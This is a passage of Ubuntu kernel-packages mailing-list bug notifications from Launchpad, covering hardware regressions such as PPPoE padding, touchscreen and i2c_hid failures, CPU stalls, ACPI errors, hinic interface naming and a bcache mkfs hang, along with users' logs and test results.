12-Feb-2018) is installed on the client and activated at boot time. This old kernel 4.4.0-116 is still without the padding bug: @client:~$ uname -a Linux client 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux A PADI packet with unneeded padding is included as attachment. It was captured via tcpdump directly on the Ubuntu Client. It is a padding inserted by Ubuntu, not by ethernet HW or driver. If it were padding included by Ethernet adapter or driver, we could not capture it on the same host and we could not see such real padding for this client packet in Wireshark. The issue affects both PPPoED client packets (PADI, PADR) and session PPPoE/PPP/IP client packets. We expect no padding is included after PPPoE payload in Ethernet Frames if the packets are not small (>64 byte) and thus are not required to be padded for Ethernet. Such correct behavior (without waste paddings) can be observed on Ubuntu 16.04 LTS with old Kernel versions released before June 2018, like e.g. 4.4.0-116. Please implement the fix in the next Kernel update. ** Affects: linux (Ubuntu) Importance: Undecided Status: New ** Tags: bot-comment -- Waste padding after PPPoE payload https://bugs.launchpad.net/bugs/1784684 You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1719795]
If continuing bisect could be helpful please clarify how to proceed with it, relevant question is in Comment 15. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1719795 Title: Dell 7140 avarage power consumption in idle increased by 1.3-1.5 times due to events by INT3432 Status in Linux: Incomplete Status in linux package in Ubuntu: New Bug description: On Dell Venue 11 Pro 7140 average power consumption in idle increased by 1.3-1.5 times due to events coming from INT343A. According to powertop since Linux 4.10 INT3432:00 generate around two hundred events on average, in /sys/devices/pci:00/INT3432:00/i2c-6 there is two devices: INT343A and SMO91D0. AFAIK INT343A is rt286. With Linux 4.9.0-4.9.45, Linux 4.11.0-4.11.12 in idle there is around 100 wakeups per second in sum, battery discharge rate around 3-3.5 Watts per second. But with Linux 4.9.46-4.9.51, Linux 4.10.0-4.10.17, Linux 4.12.0rc1-4.13.3 - around 300 wakeups per second on average, due to events coming from INT3432:00. With Linux 4.13.3 battery discharge rate around 4.5 Watts per second. Probably some commit was backported to Linux 4.9 between .45 and .46 releases. I have no idea why issue is not reproducible on any Linux 4.11 release I tried. Sometimes INT3432 events rate fall from two hundred to one hundred for shorts period of time (for example I observe this right now on Linux 4.10.0 while removing/installing packages). Message like this sometimes appear in dmesg: [ 731.226730] i2c_hid i2c-SMO91D0:00: i2c_hid_get_input: incomplete report (53/13568) Complete dmesg with Linux 4.13.3 is attached. To manage notifications about this bug go to: https://bugs.launchpad.net/linux/+bug/1719795/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784585] Re: CPUs stall
** Tags added: kernel-bug-exists-upstream ** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784585 Title: CPUs stall Status in linux package in Ubuntu: Confirmed Bug description: Frequently on boot system freezes. Investigation reveals both CPUs stall. Full log attached. It’s a pretty old laptop, but all else seems to work. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784585/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784172] Re: Touchscreen does not work anymore on dell venue 11 pro 7139 on kernels 4.13 and above
Thank you for the answer. Initially I have installed fresh xubuntu 18.04 version. Just because touchscreen did not work, I have googled a bit and found this article: https://github.com/linuxwacom/wacom-hid-descriptors/issues/12 There I have found a reference to potential kernel issues: https://bugzilla.kernel.org/show_bug.cgi?id=198715#c14 Having that information in mind, decided to experiment with different ubuntu versions (again fresh): 16.04, 17.04 - both were successful (kernel 4.10). Following the kernels topic, I have decided to experiment with the kernel version by 18.04 according to: https://askubuntu.com/questions/700214/how-do-i-install-an-old-kernel It drops down to "sudo dpkg -i *.deb". The page contains the link to http://kernel.ubuntu.com/~kernel-ppa/mainline/ Up to now I have tried following (starting with 4.10 as found by 16.04/17.04): kernel4.10/: linux-headers-4.10.17-041017_4.10.17-041017.201705201051_all.deb linux-headers-4.10.17-041017-generic_4.10.17-041017.201705201051_amd64.deb linux-image-4.10.17-041017-generic_4.10.17-041017.201705201051_amd64.deb kernel4.11/: linux-headers-4.11.12-041112_4.11.12-041112.201707210350_all.deb linux-headers-4.11.12-041112-generic_4.11.12-041112.201707210350_amd64.deb linux-image-4.11.12-041112-generic_4.11.12-041112.201707210350_amd64.deb kernel4.12/: linux-headers-4.12.14-041214_4.12.14-041214.201709200843_all.deb linux-headers-4.12.14-041214-generic_4.12.14-041214.201709200843_amd64.deb linux-image-4.12.14-041214-generic_4.12.14-041214.201709200843_amd64.deb kernel4.13/: linux-headers-4.13.1-041301_4.13.1-041301.201709100232_all.deb linux-headers-4.13.1-041301-generic_4.13.1-041301.201709100232_amd64.deb linux-image-4.13.1-041301-generic_4.13.1-041301.201709100232_amd64.deb kernel4.14/: linux-headers-4.14.56-041456_4.14.56-041456.201807170758_all.deb linux-headers-4.14.56-041456-generic_4.14.56-041456.201807170758_amd64.deb linux-image-unsigned-4.14.56-041456-generic_4.14.56-041456.201807170758_amd64.deb linux-modules-4.14.56-041456-generic_4.14.56-041456.201807170758_amd64.deb kernel4.18rc0/: linux-headers-4.18.0-041800rc1_4.18.0-041800rc1.201806162031_all.deb linux-headers-4.18.0-041800rc1-generic_4.18.0-041800rc1.201806162031_amd64.deb linux-image-unsigned-4.18.0-041800rc1-generic_4.18.0-041800rc1.201806162031_amd64.deb linux-modules-4.18.0-041800rc1-generic_4.18.0-041800rc1.201806162031_amd64.deb kernel4.18rc5/: linux-headers-4.18.0-041800rc5_4.18.0-041800rc5.201807152130_all.deb linux-headers-4.18.0-041800rc5-generic_4.18.0-041800rc5.201807152130_amd64.deb linux-image-unsigned-4.18.0-041800rc5-generic_4.18.0-041800rc5.201807152130_amd64.deb linux-modules-4.18.0-041800rc5-generic_4.18.0-041800rc5.201807152130_amd64.deb kernel4.18rc7/: linux-headers-4.18.0-041800rc7_4.18.0-041800rc7.201807292230_all.deb linux-headers-4.18.0-041800rc7-generic_4.18.0-041800rc7.201807292230_amd64.deb linux-image-unsigned-4.18.0-041800rc7-generic_4.18.0-041800rc7.201807292230_amd64.deb linux-modules-4.18.0-041800rc7-generic_4.18.0-041800rc7.201807292230_amd64.deb I believe you have asked me to test the last one. Just did it today without succcess. Starting from 4.13.1 nothing works. The last version 4.12.14 works fine for me (like 4.10.17 too). Thanks in advance. ** Bug watch added: github.com/linuxwacom/wacom-hid-descriptors/issues #12 https://github.com/linuxwacom/wacom-hid-descriptors/issues/12 ** Bug watch added: Linux Kernel Bug Tracker #198715 https://bugzilla.kernel.org/show_bug.cgi?id=198715 ** Tags added: kernel-bug-exists-upstream ** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784172 Title: Touchscreen does not work anymore on dell venue 11 pro 7139 on kernels 4.13 and above Status in linux package in Ubuntu: Confirmed Bug description: p@p-Venue-11-Pro-7139:~/$ $ cat ./dmesg_4.12.14.txt | grep i2c [1.953029] i2c /dev entries driver [2.230390] i2c_hid i2c-SMO91D0:00: i2c-SMO91D0:00 supply vdd not found, using dummy regulator [2.338340] i2c_hid i2c-SYNA7500:00: i2c-SYNA7500:00 supply vdd not found, using dummy regulator [4.836205] input: SYNA7500:00 06CB:6D6B Pen as /devices/pci:00/INT33C3:00/i2c-1/i2c-SYNA7500:00/0018:06CB:6D6B.0002/input/input8 [4.836462] input: SYNA7500:00 06CB:6D6B as /devices/pci:00/INT33C3:00/i2c-1/i2c-SYNA7500:00/0018:06CB:6D6B.0002/input/input9 [4.836824] hid-multitouch 0018:06CB:6D6B.0002: input,hidraw2: I2C HID v1.00 Device [SYNA7500:00 06CB:6D6B] on i2c-SYNA7500:00 [4.962323] i2c_hid i2c-SMO91D0:00: failed to retrieve report from device. $ cat ./xinput_4.12.14.txt ⎡ Virtual core pointerid=2[master pointer (3)] ⎜ ↳ Virtual core XTEST pointer id=4[slave pointer (2)] ⎜ ↳ Synaptics T Pad V 01.31 To
[Kernel-packages] [Bug 1784585] Re: CPUs stall
** Attachment added: "dmesg-kernel-v4.18-rc7.txt" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784585/+attachment/5170111/+files/dmesg-kernel-v4.18-rc7.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784585 Title: CPUs stall Status in linux package in Ubuntu: Confirmed Bug description: Frequently on boot system freezes. Investigation reveals both CPUs stall. Full log attached. It’s a pretty old laptop, but all else seems to work. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784585/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784152] Re: i2c_hid_get_input floods system logs
This is happening to me too on an Acer Aspire E 17 E5-774G-58GS. I tried that apport command above to send you my logs, but apparently since I didn't create the bug I'm not allowed :D -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784152 Title: i2c_hid_get_input floods system logs Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu 4.15.0-29.31-generic 4.15.18 After upgrading to kernel version 4.15.0-29 from 4.15.0-23, the system logs are flooded whenever I move the cursor with my touchpad. It looks like this: i2c_hid i2c-ELAN1010:00: i2c_hid_get_input: incomplete report (14/65535) i2c_hid i2c-ELAN1010:00: i2c_hid_get_input: incomplete report (14/65535) i2c_hid i2c-ELAN1010:00: i2c_hid_get_input: incomplete report (14/65535) i2c_hid i2c-ELAN1010:00: i2c_hid_get_input: incomplete report (14/65535) etc... This problem did not occur on the previous kernel version so there must have been a change to the "drivers/hid/i2c-hid/i2c-hid.c" file. This seems to be fixed in a recent commit here: https://github.com/torvalds/linux/commit/ef6eaf27274c0351f7059163918f3795da13199c I am currently running the older kernel version but would still like to be up to date without this flooding happening. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784152/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784585] Re: CPUs stall
Hi, Firstly, this problem has been ongoing since I dug my old laptop back to life, say January 2018. I put a new SSD in before installing Ubuntu 17-10 plus updates. I later updated to 18-04, all at current latest official releases. I’m copying the full syslog output, since systems/journal failed. I’ve also am copying the last run dmesg log as the kernel reported two problems: (A) CPU stalled at around 40 seconds. (B) Page protection error W+X. I’ve removed the mainline kernel and reverted to current Ubuntu release. Hope that helps. ** Attachment added: "syslog-kernel-v4.18-rc7.txt" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784585/+attachment/5170110/+files/syslog-kernel-v4.18-rc7.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784585 Title: CPUs stall Status in linux package in Ubuntu: Confirmed Bug description: Frequently on boot system freezes. Investigation reveals both CPUs stall. Full log attached. It’s a pretty old laptop, but all else seems to work. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784585/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784164] Re: unknown (unsupported) BIOS version Acer/Aspire A315-51/V1.12, please report
@Joseph Salisbury, what more info could I possibly give? -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784164 Title: unknown (unsupported) BIOS version Acer/Aspire A315-51/V1.12, please report Status in linux package in Ubuntu: Incomplete Bug description: I have issue when I insert sudo echo "options acerhdf kernelmode=1 interval=5 fanon=67000 fanoff=57000" > /etc/modprobe.d/acerhdf.conf and do modprobe acerhdf then i get in kern.log Jul 28 17:27:45 Andromeda kernel: [ 2309.098985] acerhdf: Acer Aspire One Fan driver, v.0.7.0 Jul 28 17:27:45 Andromeda kernel: [ 2309.099026] acerhdf: unknown (unsupported) BIOS version Acer/Aspire A315-51/V1.12, please report, abortin My kernel is 4.15.0-29-generic DISTRIB_ID=Ubuntu DISTRIB_RELEASE=18.04 DISTRIB_CODENAME=bionic DISTRIB_DESCRIPTION="Ubuntu 18.04.1 LTS" NAME="Ubuntu" VERSION="18.04.1 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04.1 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/"; SUPPORT_URL="https://help.ubuntu.com/"; BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"; PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"; VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC0D0p: scorpio2140 F...m pulseaudio /dev/snd/controlC0: scorpio2140 F pulseaudio CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 HibernationDevice: RESUME=UUID=386b8b47-cf99-4d32-93be-81c9e8f047c7 InstallationDate: Installed on 2018-04-29 (89 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 004: ID 0408:a030 Quanta Computer, Inc. Bus 001 Device 003: ID 04ca:3015 Lite-On Technology Corp. Bus 001 Device 002: ID 1bcf:0007 Sunplus Innovation Technology Inc. Optical Mouse Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: Acer Aspire A315-51 Package: linux (not installed) ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-29-generic root=UUID=f387b68f-ea60-49f4-bc79-91e595f77675 ro quiet splash ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-29-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 04/30/2018 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.12 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: Venusaur_KL dmi.board.vendor: SKL dmi.board.version: V1.12 dmi.chassis.type: 10 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.12:bd04/30/2018:svnAcer:pnAspireA315-51:pvrV1.12:rvnSKL:rnVenusaur_KL:rvrV1.12:cvnChassisManufacturer:ct10:cvrChassisVersion: dmi.product.family: Aspire 3 dmi.product.name: Aspire A315-51 dmi.product.version: V1.12 dmi.sys.vendor: Acer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784164/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783138] Re: hinic interfaces aren't getting predictable names
** Description changed: - On a HiSilicon D06 system we noticed that interfaces provided by a plug- - in "HINIC" network card are not getting assigned predictable names. - We're getting "ethX" names instead of the expected "enPblah" names. + [Impact] + Interfaces associated with Huawei "hinic" PCI adapters will not be assigned predictable names[*] and instead remain using the kernel names (e.g. eth0). This can lead to races where the interface names are not the same on every boot. For example, in a system with both 2-port hinic and 2-port igb devices, the hinic interfaces would be eth0 & eth1 if the kernel finished probing hinic before igb loaded. But if igb completes loading first, the hinic interfaces would be eth2 & eth3. + + [*] + https://www.freedesktop.org/wiki/Software/systemd/PredictableNetworkInterfaceNames/ + + [Test Case] + grep ^eth /proc/net/dev + + [Fix] + There's an upstream fix that properly associates the hinic interfaces with their PCI devices, providing udev with the info it needs to generate a predictable name. + + [Regression Risk] + The big regression risk here is with existing bionic installs w/ hinic devices. They will be currently using "eth" names by default, and this change will cause those names to change to "enP" names after upgrade. However, in only certain configs are those "eth" names reliable (e.g. only NIC in the system is a hinic plug-in card). It sucks to introduce such a change in a stable release - but users will be bitten by this when they upgrade or transition to the HWE kernel anyway if we don't. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783138 Title: hinic interfaces aren't getting predictable names Status in linux package in Ubuntu: In Progress Status in systemd package in Ubuntu: Invalid Status in linux source package in Bionic: In Progress Status in systemd source package in Bionic: Invalid Bug description: [Impact] Interfaces associated with Huawei "hinic" PCI adapters will not be assigned predictable names[*] and instead remain using the kernel names (e.g. eth0). This can lead to races where the interface names are not the same on every boot. For example, in a system with both 2-port hinic and 2-port igb devices, the hinic interfaces would be eth0 & eth1 if the kernel finished probing hinic before igb loaded. But if igb completes loading first, the hinic interfaces would be eth2 & eth3. [*] https://www.freedesktop.org/wiki/Software/systemd/PredictableNetworkInterfaceNames/ [Test Case] grep ^eth /proc/net/dev [Fix] There's an upstream fix that properly associates the hinic interfaces with their PCI devices, providing udev with the info it needs to generate a predictable name. [Regression Risk] The big regression risk here is with existing bionic installs w/ hinic devices. They will be currently using "eth" names by default, and this change will cause those names to change to "enP" names after upgrade. However, in only certain configs are those "eth" names reliable (e.g. only NIC in the system is a hinic plug-in card). It sucks to introduce such a change in a stable release - but users will be bitten by this when they upgrade or transition to the HWE kernel anyway if we don't. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783138/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784082] Re: Ubuntu is overheating my laptop
Did this issue start happening after an update/upgrade? - YES Was there a prior kernel version where you were not having this particular problem? - YES, 4.4 in Ubuntu 16 stable. Would it be possible for you to test the latest upstream kernel? - Maybe next week only :( Problem is with NVIDIA drivers - I purged them out now and NB temperature is normal now, but bad graphics :( -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784082 Title: Ubuntu is overheating my laptop Status in linux package in Ubuntu: Incomplete Bug description: Ubuntu is overheating my laptop. Same problem as 1768976 https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1768976 ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: ubuntu-release-upgrader-core 1:18.04.21 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CrashDB: ubuntu CurrentDesktop: communitheme:ubuntu:GNOME Date: Sat Jul 28 01:35:57 2018 InstallationDate: Installed on 2016-06-11 (776 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) PackageArchitecture: all SourcePackage: ubuntu-release-upgrader Symptom: release-upgrade UpgradeStatus: Upgraded to bionic on 2018-07-27 (0 days ago) --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CrashDB: ubuntu CurrentDesktop: communitheme:ubuntu:GNOME DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2016-06-11 (776 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) NonfreeKernelModules: nvidia_modeset nvidia Package: ubuntu-release-upgrader (not installed) ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Tags: bionic dist-upgrade Uname: Linux 4.15.0-29-generic x86_64 UpgradeStatus: Upgraded to bionic on 2018-07-27 (0 days ago) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784082/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784655] Re: ACPI Exception
After testing the latest upstream kernel the error-output changed a litte bit: uname -a Linux MEDIABOX 4.18.0-041800rc7-generic #201807292230 SMP Sun Jul 29 22:32:13 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ACPI: Added _OSI(Module Device) [0.117452] ACPI: Added _OSI(Processor Device) [0.117452] ACPI: Added _OSI(3.0 _SCP Extensions) [0.117452] ACPI: Added _OSI(Processor Aggregator Device) [0.117452] ACPI: Added _OSI(Linux-Dell-Video) [0.126991] ACPI: 2 ACPI AML tables successfully acquired and loaded [0.127283] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKC (20180531/dspkginit-414) [0.127296] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKD (20180531/dspkginit-414) [0.127304] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKA (20180531/dspkginit-414) [0.127313] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKB (20180531/dspkginit-414) [0.127331] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKD (20180531/dspkginit-414) [0.127339] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKA (20180531/dspkginit-414) [0.127347] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKB (20180531/dspkginit-414) [0.127355] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKC (20180531/dspkginit-414) [0.127373] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKA (20180531/dspkginit-414) [0.127381] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKB (20180531/dspkginit-414) [0.127389] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKC (20180531/dspkginit-414) [0.127399] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKD (20180531/dspkginit-414) [0.127418] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKB (20180531/dspkginit-414) [0.127426] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKC (20180531/dspkginit-414) [0.127435] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKD (20180531/dspkginit-414) [0.127444] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKA (20180531/dspkginit-414) [0.127462] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKC (20180531/dspkginit-414) [0.127471] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKD (20180531/dspkginit-414) [0.127480] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKA (20180531/dspkginit-414) [0.127488] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKB (20180531/dspkginit-414) [0.127507] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKD (20180531/dspkginit-414) [0.127516] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKA (20180531/dspkginit-414) [0.127525] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKB (20180531/dspkginit-414) [0.127534] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKC (20180531/dspkginit-414) [0.127553] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKB (20180531/dspkginit-414) [0.127562] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKC (20180531/dspkginit-414) [0.127571] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKD (20180531/dspkginit-414) [0.127579] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKA (20180531/dspkginit-414) [0.127598] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKC (20180531/dspkginit-414) [0.127607] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKD (20180531/dspkginit-414) [0.127616] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKA (20180531/dspkginit-414) [0.127624] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKB (20180531/dspkginit-414) [0.127643] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKD (20180531/dspkginit-414) [0.127652] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKA (20180531/dspkginit-414) [0.127661] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKB (20180531/dspkginit-414) [0.127670] ACPI Error: AE_NOT_FOUND, While resolving a named reference package element - LNKC (20180531/dspkginit-414) [0.
[Kernel-packages] [Bug 1784665] Re: mkfs.ext4 over /dev/bcache0 hangs
> Did this issue start happening after an update/upgrade? Was there a prior kernel version where you were not having this particular problem? We've had plenty of successful runs on this kernel. I suspect io load or something else may trigger this. We've only seen it once out of tens of not hundreds of runs on Cosmic 4.15.0-29-generic. We don't currently have an easy way to test upstream kernels in the automation runs. If we see this again, I'll poke a bit more on running mkfs.ext4 over bcache devices on Cosmic to see if we can recreate outside of the automation. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784665 Title: mkfs.ext4 over /dev/bcache0 hangs Status in linux package in Ubuntu: Triaged Status in linux source package in Cosmic: Triaged Bug description: $ cat /proc/version_signature Ubuntu 4.15.0-29.31-generic 4.15.18 $ lsb_release -rd Description: Ubuntu Cosmic Cuttlefish (development branch) Release: 18.10 $ apt-cache policy linux-image-`uname -r` linux-image-4.15.0-29-generic: Installed: 4.15.0-29.31 Candidate: 4.15.0-29.31 Version table: *** 4.15.0-29.31 500 500 http://archive.ubuntu.com/ubuntu cosmic/main amd64 Packages 100 /var/lib/dpkg/status 3) mkfs.ext4 /dev/bcache0 returns successful creating an ext4 filesystem on top of a bcache device 4) mkfs.ext4 doesn't return and kernel prints hung process info [ 58.018099] cloud-init[920]: Running command ['mkfs.ext4', '-F', '-L', 'root-fs', '-U', 'f01aec97-9457-11e8-b8d6-525400123401', '/dev/bcache0'] with allowed return codes [0] (capture=True) [ 242.652018] INFO: task kworker/u4:0:5 blocked for more than 120 seconds. [ 242.653767] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.655391] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.657397] INFO: task kworker/0:2:410 blocked for more than 120 seconds. [ 242.659126] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.660980] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.663000] INFO: task bcache_allocato:2326 blocked for more than 120 seconds. [ 242.664807] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.666516] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.668503] INFO: task bcache_writebac:2345 blocked for more than 120 seconds. [ 242.670301] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.671936] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.673909] INFO: task mkfs.ext4:2803 blocked for more than 120 seconds. [ 242.675414] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.677038] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.483998] INFO: task kworker/u4:0:5 blocked for more than 120 seconds. [ 363.488441] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.489598] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.491043] INFO: task kworker/0:2:410 blocked for more than 120 seconds. [ 363.492252] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.494085] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.495659] INFO: task bcache_allocato:2326 blocked for more than 120 seconds. [ 363.496957] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.498454] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.499866] INFO: task bcache_writebac:2345 blocked for more than 120 seconds. [ 363.501156] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.502597] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.504048] INFO: task mkfs.ext4:2803 blocked for more than 120 seconds. [ 363.505505] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.506677] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. System has two virtio block devices. bcache was created like so: make-bcache -C /dev/vdb make-bcache -B /dev/vda2 resulting in /dev/bcache0 ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: User Name 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jul 31 15:52 seq crw-rw 1 root audio 116, 33 Jul 31 15:52 timer 